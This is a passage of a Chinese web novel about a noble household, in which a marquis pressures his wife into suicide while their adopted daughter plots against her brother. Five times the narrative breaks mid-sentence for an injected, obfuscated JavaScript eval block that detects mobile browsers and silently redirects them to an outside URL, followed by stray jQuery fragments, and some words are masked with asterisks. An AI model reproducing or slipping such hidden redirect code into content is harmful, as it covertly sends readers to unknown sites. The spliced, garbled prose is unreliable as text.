眼皮刚费力掀开一条缝,就撞上了定远侯那张毫无表情的脸。
温如霜心头猛地一沉,慌乱地环顾四周。
空了!
她身边伺候的心腹丫鬟,竟一个都不见了。
偌大的屋子里,只剩下她和床边的定远侯。
“晏鸿升!”她强撑着支起身子,声音因恐惧而尖利发颤,“你、你想干什么?!我警告你,你要是敢动我一根汗**,我大哥绝不会放过你!他定叫你吃不了兜着走!”
看着试图用狠话壮气势的温如霜,定远侯笑了。
“如霜,你我夫妻一场,我怎么会害你呢。”
温如霜看着他的笑,心底的不安愈发浓厚。
定远侯一字一句道:“如今,只有我能救你了。”
“你胡说什么。”温如霜不可置信地反驳。
定远侯眉眼间没有半点关心与担忧,只有冷漠与算计。
他冷冷道:“星儿的亲爹娘已经找上门了,告的就是你拐带孩童的重罪。你的贴身心腹李氏,也指认了你当年拐走星儿的勾当。”
“若非你当年做下这等丧尽天良的恶事,侯府近来又怎会灾祸不断,霉运缠身?!”
他死死盯着温如霜骤然惨白的脸,一字一句,如同诅咒:
“咱们的亲生女儿毁了,紧接着,唯一的儿子也瞎了眼,没了命。温如霜,你难道不觉得这桩桩件件,就是老天爷对你作恶的报应吗?”
这诛心之言如同重锤,狠狠砸在温如霜心口。
她不愿意承认这是自己的报应,厉声反驳道:“这一切都是晏逐星那个灾星带来的,与我有何干系?”
定远侯没有被她的厉声呵斥吓退。
他俯下身,凑到她耳边,声音压得更低,带着一种致命的诱惑和冰冷的威胁:
“还有不到两年,明远就要及冠了。到时候,我就会上奏陛下,请立他为侯府世子,承袭爵位!”
“如今,你只剩下明远这一个儿子了。温如霜,你难道不为他考虑么?”
“你当真要让他顶着‘毒妇之子’、‘拐子生母’这样洗不掉的恶名在这世上立足?你要生生毁了他唾手可得的前程和爵位吗?”
温如霜刚刚强撑起来的身子猛地一颤,像被人瞬间抽走了所有骨头,瘫软跌回床榻上。
不知不觉间,她竟被逼得到了山穷水尽的地步。
她神思恍惚,与其就这样瘫痪在床声名狼藉地活着,倒不如**算了。
她的三个亲生孩子,明月清白被毁,失踪不知死活;明修生前被人羞辱,死后还被打得魂飞魄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709072|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
散;现在只有明远一个孩子安安稳稳地留在世上了。
就这么走了,她如何放心得下他。
可活着,她也只会成为他的拖累。
温如霜绝望地闭上了眼睛。
定远侯很有耐心,并未催促她半句,甚至还在丫鬟把药端来时,要亲手喂她喝药。
“你让芰荷来见我,当着我的面熬药。”温如霜警惕地盯着他。
定远侯十分坦然地放下了药碗,点头答应。
“没问题。”
“不过你考虑的时间不多了,星儿的亲生父母,只能忍到明日一早。”
“若你再做不出决断,那到时候他们就要敲登闻鼓,告御状了。到时候,你的名声,和明远的前程,就都没了。”
温如霜脸色再次白了几分。
她沙哑着声音开口,眼神里满是怨毒:“明远也是你的亲儿子,你非要毁了他才甘心吗?”
定远侯心想:明远是他的嫡长子没错,但他还年轻,日后未必不能再有嫡子。
比起已经有了嫌隙的温家,他更想和烈国公府还有骆家结成姻亲。
但他面上还是要做出一副好父亲的姿态。
“明远是我们的第一个孩子,聪明又有才学,我自然是盼着他有一个好前程。”
“你若真的为了明远着想,就趁着星儿亲生爹娘没告御状前,写信给大舅兄,交代好一切,让出侯府主母之位吧。”
温如霜听到这话,意识到他已经选好了下一任的侯府主母。
“是谁?”她心底一片发寒。
“不重要,重要的是,你该退位让贤了。”定远侯又不傻,怎么会把这事告诉她。
毕竟,现在是他一心想够上国公府的门楣,骆文缨还不知道呢。
温如霜见他不说,知道追问下去也毫无意义。
她呆呆地看着芰荷熬好了药,服下后,终于下定了决心。
第103章 丢女儿真相
“能否让我见明远最后一面?”
她眼里带上了一丝恳求。
定远侯沉思不语。
若让她见了明远最后一面,她舍不得**了怎么办?
“侯爷,你我夫妻二十载,最后一丝体面,你也不愿给我么?”温如霜眼角滑下了绝望的泪。
定远侯听她提到“夫妻二十载”,心中微微一动,想起了两人新婚燕尔时的甜蜜往昔。
他想了想,让明远见温如霜最后一面,也能减轻自己的嫌疑,日后温家上门要说法,也能让明远顶上。
于是他点点头:“那你先将绝笔书写好吧,明远也快回来了。”
温如霜擦掉眼泪,露出了一抹惨然的笑。
“多谢侯爷。”
喝完药的她,精神看着好了几分。
她等到了天黑,也没等到晏明远归家的消息。
她低声唤来芰荷,让她将笔墨纸砚送过来。
她强撑着坐直了身子,提笔写下这封定远侯想要的遗书。
写信途中,她歇了好几次,这才断断续续地将信写完。
写完后,她不忍再看第二遍,径直将信交给了芰荷。
“去吧,将此物交给侯爷过目。”
定远侯拆开遗书,仔细地阅读了起来。
【妾身温氏如霜,罪孽深重,无颜苟活于世。今血泪绝笔,含悲泣血,但求垂怜。】
【明月吾女,下落不明,生死难测。每每思及,心如刀绞,夜不能寐。】
【明修吾儿,年少惨亡,为娘未能护其周全,死后更未能全其哀荣,此恨滔天。】
【妾身身为侯府主母,执掌中馈、教养子女乃分内之责,然而二子接连遭难,皆因妾身无能、失察、未尽侯府主母之职。此等大过,愧对侯爷,愧对晏氏祖宗,更愧对明月、明修在天之灵!】
【妾身自知罪无可赦,今自请下堂,自绝于世,非侯爷休弃,亦非温氏除名,乃罪妇自戕以谢罪。】
【自今日起,温氏如霜与定远侯府恩断义绝,非侯爷之妻,非明远之母】
【妾身此生已污,若再苟活,只会徒增明远之耻,累其前程。唯愿一死,斩断牵连,使吾儿免受母过之累。】
【侯爷正值盛年,侯府不可久无主母,宗嗣不可无人承继。妾身无能,致子嗣凋零,已不配占此位。】
【恳请侯爷以宗庙社稷为重,尽早另聘高门淑女为继室,开枝散叶,光耀门楣。此乃妾身对侯府最后的赎罪之请。】
看到这,定远侯长长地舒了一口气。
还算温如霜识相,知道将自尽的原因归结到自己失责上,自请下堂。
他继续往下看,那些嘱咐晏明远的话他直接跳过了,径直看向她留给温家人的话。
【大哥正值仕途关键,万不可因妾身之死误了前程。】
【妾身之死,乃自愧失职所致,与侯府无关。大哥若念骨肉之情,切莫追究,勿使明远为难。】
【若因妾身之死掀起风波,反令明月、明修亡魂难安,更损温氏与侯府多年情谊。妾身死不瞑目。】
【唯愿吾儿明远此生平安顺遂,不因母过而蒙尘。】
【罪妇温氏如霜绝笔。】
定远侯看着手中的绝笔信,十分满意。
他亲自去见了温如霜一面。
他俯身替温如霜掖了掖被角,声音带着许久未见的温情:
“夫人深明大义。为夫,痛心疾首。”
“你放心,你既为侯府付出至此,为夫定不负你所托。日后下葬,必当竭尽全力,予你一个配得上侯府主母身份的体面,让你走得风风光光。”
温如霜紧紧捏着被角,用尽了全身力气克制,才忍住了啐他一口唾沫的冲动。
晏鸿升这个虚伪小人。
明明是他将她逼死的,现如今倒装上了好人。
她闭上了眼睛,不愿与他再说一句话。
定远侯也不生气,只是温和地看着她:“夫人莫要担心,我已经派人去城外候着了。只要瞧见明远,便会让他快马加鞭赶回来见你。”
温如霜依旧没有吭声。
定远侯不再自讨没趣,回了自己的院子。
翌日,小年,晏明远赶在城门落锁前回到了定远侯府。
他刚一到家,就被弟弟身亡的消息给砸懵了。
他只不过去了一趟青州,怎么侯府里竟然发生了这样大的事情。
“明修是**的?”他痛苦地看向了定远侯。
定远侯提起丧命的次子,眼里闪过一丝恨意与厌恶。
“都是谢锦程那个王八羔子的错。”
他把事情原封不动地告诉了晏明远。
晏明远听完整个人怒火中烧、
他的弟弟先因谢锦程被戳瞎左眼,又遭受了那等禽兽不如、令人发指的折辱,最后落了个死无全尸、魂飞魄散的下场、
昭瑞亲王府简直欺人太甚。
“我要跟他们拼了。”他扭头就要出府。
定远侯急忙派人拦下他。
“站住,你莫要冲动。瘦死的骆驼比马大,如今谢锦程重伤而亡,昭瑞亲王也已经中风,咱们再找上门,也无济于事。”
说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720906|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到这,定远侯叹了一口气。
“你还是先去探望探望你的母亲吧。”
晏明远的心一瞬间就悬了起来。
“母亲怎么了?”他急切地追问。
父亲这语气,听着母亲的情况似乎不太好。
他才失去了亲弟弟,现在连母亲也要保不住了吗?
定远侯装模作样地又叹了口气,把早就编好的瞎话往外倒:“唉,星儿当年竟是被你母亲拐带回家的,如今人家亲爹娘找上门来,她寝食难安,人都熬坏了……”
谎话说多了,他自己都要信了。
关万海夫妇,其实是他费心思挑出来的。
关家十多年前确实丢过一个女儿,但那是他们自己故意扔掉的。
就因为他们一门心思要生儿子。
听信了歪门邪道,只要把女儿弄死就能吓跑那些想投胎到他家的女娃娃,好让儿子赶紧来。
但他们到底只是一个普通人,不敢动手杀害亲生孩子,只得将孩子带到远远的地方给扔了。
再者,关万海乃是行商之人,年年都去青州那边,正好能圆上“当年在青州丢了孩子”这个谎。
正巧这些时日关家开的布行遇上**烦,眼看就要垮了。
他以此为诱饵,直接找上关万海。
“你们上侯府演场戏,冒充晏逐星的亲爹娘,状告温如霜当年拐带了你们的女儿。只要你们办成此事,本侯就出手,保你家生意起死回生!”
关万海夫妇立刻就答应了。
对他们来说,这笔交易稳赚不赔。
而且,日后名义上还能有一个侯府大小姐当女儿,他们也算有了倚仗。
晏明远听完他的话,如遭雷击。
“怎么会这样……”他声音干涩,几乎不成语调。
他和明修一直以为星儿是母亲心善,从外边捡回来的孤女。
正因为如此,当明月历尽艰辛终于回到侯府时,他们兄弟俩才会对星儿充满迁怒和怨怼。
他们觉得是星儿这个来历不明的孤女,偷占了本该属于明月十几年的尊贵身份和侯府宠爱。
所以这些年,他们理直气壮地冷落星儿,心安理得地偏袒明月。
他们一次次对星儿板着脸训诫,让她知足,告诉她能在侯府长大是天大的福气,警告她不要贪心,不要妄想不属于她的东西。
可现在,父亲告诉他星儿根本不是捡来的孤女。
她是被母亲恶意拐带回家的。
那他和明修这些年对星儿所有的冷落、苛责、那些自以为是的训诫算什么?
第104章 是我害死她
定远侯露出一副痛心疾首的表情,拍了拍他的肩膀:“去看看你母亲吧,她惦念你许久。”
“不了。”晏明远脱口而出的竟是拒绝。
定远侯有些惊讶,没想到他会这么说。
晏明远捂着头,痛苦不已。
他现在不知道该怎么面对母亲,更不知道该如何面对晏逐星。
他现在谁都不想见。
“父亲,孩儿千里迢迢赶路归家,如今疲惫不已,先行回屋休息了。”晏明远冲定远侯匆匆行了一礼,红着眼眶大步离开了。
定远侯没有阻拦他,扭头看向了一旁候着的芰荷。
“听到了吧,不是我不让他见你家夫人,是他不愿见。”
芰荷脸色有些发白。
夫人如今身子骨一日不如一日,大少爷不肯见她,恐怕身子会遭受不住打击。
她恍惚地回了院子。
瞧见她,温如霜急切地探头出来:“明远呢?不是说他回府了,么?”
“大少爷说赶路累了,先回屋休息了。”芰荷支支吾吾地回答。
“是不是晏鸿升出尔反尔不愿意让他见我了?”温如霜激动大吼,还岔了气,连连咳嗽好几声。
芰荷赶忙上前替她抚背,红着眼眶道:“侯爷并未阻拦大少爷前来。”
“我不信。”温如霜不相信自己疼爱的长子会不见自己。
“肯定是晏鸿升那王八蛋跟他说了什么,挑拨了我们母子的关系。”
“你命人将我抬到大少爷的院子去,我就不信,见不着明远了。”
芰荷只得听命。
温如霜来到了长子的院落,不曾想,却依旧见不到人。
“夫人,大少爷沐浴更衣结束,已经睡下了。”晏明远的小厮有些尴尬地开口。
温如霜着急道:“睡下了就把他叫醒啊!我可是他的亲生母亲,他都不愿见我吗?”
小厮只得应下,转头去叫晏明远。
不一会儿,他又出来了。
他忐忑地开口:“夫人,大少爷太累了,回来之后服了药入睡,如今……叫不醒……”
温如霜哪里还能不明白晏明远的意思。
他就是不想见她。
“哈哈哈哈哈。”想通了这一点,温如霜忍不住大笑了起来。
枉她为了他放弃侯府主母之位,放弃自己的性命,可他竟然连她最后一面也不愿意见。
真不愧是晏鸿升的好儿子啊。
父子俩流的血,都是一样的冷漠。
温如霜笑出了眼泪,而后淡淡道:“回吧。”
得知她要走,晏明远终于推开窗看向了她回院子的必经之路。
看着母亲离去的背影,晏明远痛苦地闭上了眼睛。
“娘,您让我冷静冷静,明日,孩儿再去见你。”
他喃喃自语。
却不知,今夜一别,便是永别。
他躺在床上翻来覆去地想着家中的事情,怎么也睡不着。
直到天空泛起了鱼肚白,他才稍稍有了睡意。
没过多久,便听到了小厮唤他起身用早膳。
晏明远想了想,决定亲自去请母亲用膳赔罪。
昨夜是他的不对。
洗漱更衣后,他亲自去大厨房取了早膳给母亲送去。
不曾想,都这个时辰了,母亲的卧房依旧紧闭。
他看向了芰荷:“母亲怎还未起身?”
“夫人说昨夜没休息好,想多睡会儿,让我们别打扰她。”芰荷恭恭敬敬地回答。
“既是如此,那我就在这等母亲醒来吧。”晏明远坐下,命人去书房拿了书,一边看书一边等温如霜醒。
不曾想,过了两个时辰,眼看都要到用午膳的时辰了,屋子里依旧静悄悄的,没有任何声音。
晏明远微微蹙眉,看向芰荷。
“你去瞧瞧,母亲怎的还不醒?”
芰荷应下。
不一会儿,晏明远就听到了卧房传来芰荷的尖叫声。
他手一松,书便落到了地上。
他顾不得捡起,快步赶了过去。
他一到,就瞧见芰荷瘫软在地,小脸煞白,哆嗦着指着床上。
晏明远的心猛地一沉,几步抢到床边。
只一眼,他浑身的血液都仿佛瞬间冻住了。
母亲静静地躺在床上,双眼紧闭,脸色是骇人的青灰。
暗黑粘稠的血迹正从她的双眼、双耳、鼻孔和嘴角缓缓流出,在她惨白如纸的脸上划出一道道长长的血痕。
“娘——!”晏明远踉跄着扑到床边,双腿发软,几乎要跪倒在地。
他想伸手去擦掉那些可怖的血痕,手指却抖得不成样子,悬在半空,迟迟不敢落下。
母亲**。
七窍流血而亡。
晏明远脑子嗡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720907|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的一声,一片空白,整个人像是被定住了一般,没有动弹。
直到定远侯赶来,他才猛地惊醒。
“父亲!”
晏明远扑通跪倒在定远侯脚边,眼泪汹涌而出,哭得浑身发颤,
“是我害**母亲!都怪我!要是昨晚我没跟她赌气,肯来见她一面,她就不会想不开了。”
此刻他懊悔得恨不得杀了自己。
定远侯没理他,目光扫过床上温如霜的惨状,惊讶地看向枕边那封信:“这是什么?”
他像是刚发现,一把抓起信拆开。
飞快看完,定远侯立刻捶胸顿足,假哭起来:“如霜!你怎么这么傻啊!”
他手一松,遗书飘落在地。
晏明远慌忙爬过去,一把抓起信纸,眼睛急急扫过字迹。
每看一句话,他的脸就白上一分。
看到最后那句【唯愿吾儿明远此生平安顺遂,不因母过而蒙尘。】
母亲临死都在为他着想,他却连她最后一面都不肯见!
“我混账!我就是个畜生!”
他双眼猩红,彻底崩溃,抬手就狠狠朝自己脸上扇去。
耳光声啪啪作响,又快又狠,仿佛感觉不到疼一般。
定远侯这才过来拉他。
他哽咽着安慰道:“好孩子,与你无关,此事是你母亲自己想不开。”
“不,都是我的错,是我害**母亲,是我。”晏明远接受不了亲人接二连三离去,哭得撕心裂肺。
定远侯紧紧抱住了已经长大的儿子,哭得比他更大声。
“不,是我的错,是我没有照顾好她。”
收到温如霜身死消息的晏逐星也赶了过来。
于情于理,温如霜如今还是她名义上的母亲,她**,她必须来一趟。
只是没想到,一来就看到了父子俩抱头痛哭的滑稽模样。
她忍不住翘起了唇角。
“见过大小姐。”
下人们瞧见她,赶忙行礼。
晏逐星垂眸,收起笑意,再抬眼时,已经是一副茫然而悲伤的模样。
“父亲,大哥。”她软软地喊了一声。
两人这才松开了彼此,胡乱擦掉眼泪。
“星儿,你怎么来了。”定远侯率先开口。
一旁的晏明远退后一步,躲到了定远侯身后。
**该怎么面对晏逐星。
第105章 你离她远些
晏逐星红着眼眶道:“父亲,我想见一见关家……”
她话还没说完,原本躲在定远侯身后的晏明远便跳了出来。
“母亲刚走,你就要找你的亲生父母吗?”他有些接受不了晏逐星这样冷血无情。
母亲当初拐带她确实有错,可如今她人已经**,晏逐星也在侯府享了十多年大小姐的福。
难道这一切还不能抵消吗。
晏逐星委屈地看向定远侯:“我只是担心他们会去告御状。到时候,恐怕会有损侯府的声誉。我想着,他们既是我的亲生父母,或许我说的话他们会听,所以想着去劝一劝他们。”
晏明远一张脸顿时变动一会儿红一会儿白。
原来竟是他误解了星儿。
他张了张嘴想道歉,但又说不出话来。
定远侯欣慰地看着她,温声道:“此事为父自会与他们商谈,保管不会让你为难。你就放心吧。”
“是。”晏逐星点了点头。
“你回院子里歇着吧,莫要进来被吓到了。”定远侯下令让她离开。
晏逐星没有反对,乖乖地走了。
定远侯看着床上温如霜变得僵硬的尸身,立刻命人快马加鞭去青州报丧。
而后又命人去请了族中长老。
见晏明远还呆呆地站在原地,他几步跨到他面前,双手用力地按住了他的肩膀。
“明远,丧事自有为父坐镇主持,族中长老稍后便到,也会协理诸事。但你乃嫡长子,必须担起守灵、举哀、答谢吊客之责。莫要让悲痛击垮了你。”
晏明远惶惶然点头,如同提线木偶一般,定远侯让他做什么,他就去做什么。
很快,定远侯府上下便挂起了白幡。
李氏被放了出来,一见温如霜的遗体,登时晕厥过去。
她知道,夫人没了,她恐怕也活不久了。
芰荷红着眼眶将她唤醒,两人强忍悲痛,一同为温如霜整理遗容,换上寿衣。
府里的几位姨娘也被唤来。
唯有阮寄薇因身怀有孕,得了准许,留在自己院中。
晏逐星以思虑过度病倒了为由,也没有出现。
晏明远换好孝衣,在管家和小厮的陪同下出门报丧。
他整个人如同被抽走了魂,面色麻木,只是按照身旁人的提示,重复着下跪、叩首、报丧、起身、登车的流程。
不多时,定远侯夫人温如霜去世的消息便传遍了京城。
一时间,街头巷尾议论纷纷。
昨日才传出侯府大小姐晏逐星亲生父母寻上门的消息,今日主母温如霜便突然亡故。
变故接踵而至,总让人觉得背后有什么猫腻。
卫国公夫人窦淑容正刻薄地与妯娌裴府二夫人数落着晏逐星的身世。
“身上流的就是低贱商贾的血脉,在侯府的金玉堆里养十几年也是白费,麻雀就是麻雀,永远变不成凤凰。”
自打冰嬉宴上晏逐星被皇后叫走,让她当众难堪,窦淑容便许久未在宴会上露面了。
就怕被人提起那日的窘迫。
她恨毒了晏逐星。
又听闻腊八那日,晏逐星装模作样去城外施粥,她儿子竟巴巴跟了去,还因为晏逐星给了她派去的小厮两巴掌,而后又将人撵了回来。
如今一提到晏逐星,窦淑容就恨得牙痒痒。
裴二夫人不敢多说什么,毕竟她的女儿跟晏逐星似乎关系还不错。
如今晏逐星得了皇后的青眼,又被烈国公夫人认作了义女,她也不好多说人家坏话,因而只是尴尬地点了点头。
“定远侯真是瞎了眼,一个养女有什么好宠着的。还有温如霜也是个没用的东西,竟然让一个养女骑到头上来。”窦淑容又将怨气对准了定远侯夫妇。
裴二夫人搅着帕子,讪讪地笑,依旧没有吭声。
这时,下人匆忙跑进来禀报:“夫人,二夫人,定远侯夫人……殁了!”
窦淑容与裴二夫人听到这话,脸色同时变了。
她们方才还在数落定远侯府的不是,转眼主母温如霜就**,这也未免太过凑巧。
按礼数,定远侯夫人亡故,她们自该备礼前去吊唁。
但窦淑容连这面上的功夫都懒得做。
她嘴角撇了撇,声音里带着毫不掩饰的嫌恶:“年关就在眼前,正是喜庆的时候,谁耐烦去奔那晦气的丧?平白沾一身晦气,触了年节的霉头。不去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725130|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
下人退去后,她忍不住又和裴二夫人抱怨:“定远侯府今年都死几个人了。”
“先是女儿没了清白探亲路上病逝了,后来又是儿子没了,现在连温如霜这个主母都**。”
“我看啊,那个晏逐星就是灾星。迟早要把定远侯和他那长子给克死。”
“咱们还是离定远侯府远些的好,省得沾染了晦气。”
裴二夫人原本没想到这些,但听大嫂这么一说,心里也打起了鼓。
是啊,定远侯府这些日子实在是太倒霉了。
接二连三没了好几条人命。
她回到自己院子后,将女儿裴芜找来。
“阿芜,你还是离定远侯府那位大小姐远些吧。”她将窦淑容的话告诉了女儿。
裴芜皱起了眉头,忍不住反驳道:“可我瞧着烈国公夫人和她关系也挺亲近的,他们不也没事么。”
“烈国公夫妇都去过战场,自有煞气护体。与咱们不同。”裴二夫人强行辩解。
裴芜还是觉得那都是大伯母的偏见,噘着嘴道:“那远的不说,大表哥不也因为星儿查出了谢锦程的案子,得了皇上的褒奖。由此可见,也不是每个跟星儿沾上关系的人都没好下场呀。”
裴二夫人说不过女儿,轻轻拧了她一下。
“可别在你大伯母面前这么说,省得她迁怒你。”
“我知道的。”裴芜乖巧点头。
她又不傻,大伯母最讨厌星儿了,她去她面前说这些话,她不想活啦。
京城里,与窦淑容存着同样心思的人不在少数。
众人都觉得定远侯府近来邪门晦气,因此温如霜的丧事,几乎无人愿意亲临吊唁。
至多只遣家中管事送去一份奠仪。
灵堂内外,一片冷清凄寂。
消息自然也传到了谢翊宁耳中。
昨日得知晏逐星亲生父母寻上门,他第一时间便遣停云前往通州查探。
通州距京城快马不过一个多时辰,是以温如霜死讯刚传开,昨日出发的停云便已返回京城复命。
“王爷,属下已查实。”
谢翊宁抬眸,眸色微沉:“那二人,当真是晏大小姐的亲生父母?”
第106章 杀了晏明远
“属下多方走访打听,确认了关家十一年前确实丢过一个女儿。”
“定远侯夫人捡到大小姐的日子和时间都对上了。”
“据说那个镯子和大小姐当时走失时戴手上的也一样。”
停云将打听来的消息一一汇报。
谢翊宁皱起了眉头。
这么多巧合,那就不是巧合了。
恐怕是有心之人在背后故意操纵这一切。
“盯着他们,继续查。”谢翊宁吩咐下去。
“是。”停云应了下来。
“惊鸿那边如何了?可有消息传回来?”谢翊宁又问。
停云摇了摇头:“您要的消息还在查探,估计年前是回不来了。”
“我知道了,你退下吧。”谢翊宁微微颔首。
他将疆域舆图翻找出来,盯着上边几个国家的名字,陷入了思索。
大虞周边几个国家,琉光、西戎、北境、南穹,一直都对地大物博的大虞虎视眈眈。
其中北境全民皆兵,擅长骑射,是最难啃的硬骨头。
他们居住在草原上,夏日水草丰沛,他们就牧羊牧牛,但冬季严寒,他们粮食压根不够吃,因此便不停地骚扰大虞边境,抢夺粮食壮大自己的部落。
这是几十年来的老传统了。
然而一年后,他们将不再满足于这些小打小闹,会大规模进攻大虞。
上一世,北境的实力忽然比往常增强了许多,导致霍将军与他们对战时接连败退。原本只需要打几个月的仗,硬生生拖了两年。
他怀疑琉光和西戎或许在暗中支持了北境。
因而这一世,他确认自己重生后,就将自己的几个心腹派了出去。
停云留在身边,照夜去查南阳堤坝官员贪墨一案,惊鸿去了琉光,寒阙则去了西戎。
琉光多矿脉,不仅盛产各样的宝石,还拥有着能打造出坚韧锋利兵器的矿石。
惊鸿此去,便是要查明琉光与北境是否暗中勾结。
必要之时或可釜底抽薪,断了琉光与北境的合作。
而西戎位于黄沙大漠之中,盛产香料与美酒,是周边最富饶的国度。
他们酿出的酒,色泽如琥珀,开坛时香气能醉倒整屋的人,一口下去让人回味无穷。
因而坊间流传着一句话:一壶西戎酒,万两雪花银。
他们的一坛葡萄酒,在大虞能抵千金。
他们这般富有,自然引起过周遭的觊觎。
然而他们的王城坐落于沙漠之中,踪迹难寻。
西征过的那些铁骑,都迷失在了大漠之中,只留下了一堆枯骨。
因而,再也没人敢打他们的主意。
西戎人口虽少,但他们的王,野心却不小。
所以他们很可能会暗中与北境勾结,提供北境需要的金银,让他们去采买武器和粮食来对付大虞。
不得不防。
因而他便让寒阙扮做商人,去了西戎。
至于南穹,河网密布,丛林叠嶂,瘴疠横行,毒虫遍地,是周遭几个国家最神秘的地方。
他们其行事诡谲,据说擅长用蛊,与中原少有往来,深浅难测。
他不打算去试探他们,若是打草惊蛇,反倒不妙。
只盼半年后,解决了南阳水患与许州大旱,惊鸿和寒阙能给他带回惊喜。
*
温如霜死讯传遍了京城。
在客栈呆着的关家夫妇自然也听到了风声。
两人心里都有些惶惶不安。
他们那日不过做戏说要去状告温如霜,温如霜怎么就**?
“夫君,你说,这事会不会查到我们头上?”杨氏慌张不已。
“说什么胡话,此事与我们何干。是她自己作孽多端。”关万海握紧了妻子的手。
语气一句比一句重,像是安慰妻子,也像安慰自己。
“咱们答应侯爷的事情办好了,他也该替咱们解决那桩麻烦了。”
“对对对。”杨氏连连点头。
原本他们家生意做得好好的,谁曾想,被人做局阴了,送给通州知州夫人的布匹竟然生了虫子,让夫人身上起了红疹子。
知州夫人不依不饶,非要让他们赔个倾家荡产。
他们在通州的生意彻底黄了。
这可是他们赖以生存的生意,就这么没了,他们哪里甘心。
因而定远侯说让他们假冒晏逐星亲爹娘,就帮他们与知州大人和谈,他们便毫不犹豫地答应了下来。
“等明日吧,明日咱们去找侯爷。”关万海下定了决心。
还有几天就过年了,他们得早点把这事解决了,不然恐怕这个年也没法过了。
“好。”杨氏决定一切都听夫君的。
翌日,他们去找了定远侯。
定远侯懒得费心自己去处理这事,略一思忖,开口道:“你领着星儿回通州过年吧。你们多年未见,是该一家好好团聚了。”
“届时我会让管家护送星儿过去,再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725131|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给林知州送一份年礼,他们便不会再为难你们了。”
温如霜之死,温家定会来人。
当初星儿就与温家人不对付,若她留在侯府,反倒会惹来冲突。
倒不如,将她送去通州,过完年等温家人离开了,再将她接回来。
“多谢侯爷大恩大德。”有了他这句话,关万海夫妇放心了。
既然要迎接晏逐星去过年,他们就得先赶紧回关家去把宅院好好打扫整理一下,省得这位大小姐住不习惯。
晏逐星得知要去通州关家过年,倒也来了兴趣。
在侯府她还不好光明正大喝酒吃肉庆贺,去通州倒是个不错的选择。
正好可以看看,定远侯究竟是因为什么拿捏了这对夫妇,让他们来演这一出戏。
最重要的是,这是个好机会。
或许可以借机杀了晏明远。
她人不在京城,晏明远**,就怀疑不到她头上了。
没准她可以比计划更早一点接手定远侯府。
“是,星儿一切都听父亲安排。”她在定远侯面前表现得十分温顺,像一只人畜无害的兔子。
因此定远侯从未想过,家中这些不幸的事情与她有关。
“去吧,这几年,是我们对不住你。”定远侯轻轻拍了拍她的肩膀,叹了一口气。
“星儿从未怨过父亲。”晏逐星赶忙摇头。
定远侯满意地点了点头,让她离开了。
决定了要回通州过年,晏逐星便命人整理行李。
她将衔蝉和九栀留下,只打算带双鲤去关家。
一来衔蝉细心,适合看管那些皇后赏赐的东西;二来过年时,她也可以抽空回王府与相熟的人一块庆贺庆贺。
至于九栀,她会武功,接下来的计划,需要她的帮助。
晏逐星在屋子里反复推算了几遍自己的计划,她决定赌一把。
临行前,她忙碌了起来。
她先让九栀给阮姨娘送了信,让她配合她演好这出戏。
随后又派人给烈国公府还有永安王府送去了年礼,顺便告知了他们,她即将要去通州过**情。
如今定远侯府正值丧期,温如霜虽非她生母,终究是名义上的母亲。
她不便此时登门拜访,免得冲撞了年节喜气,惹来口舌是非议论。
安排好一切事务后,她在大年二十九这日清晨,便准备离开京城去往通州。
出发前,晏明远拦住了她的马车。
第107章 她不是我娘
晏逐星盯着他,松了一口气。
她还真怕他不来找她呢。
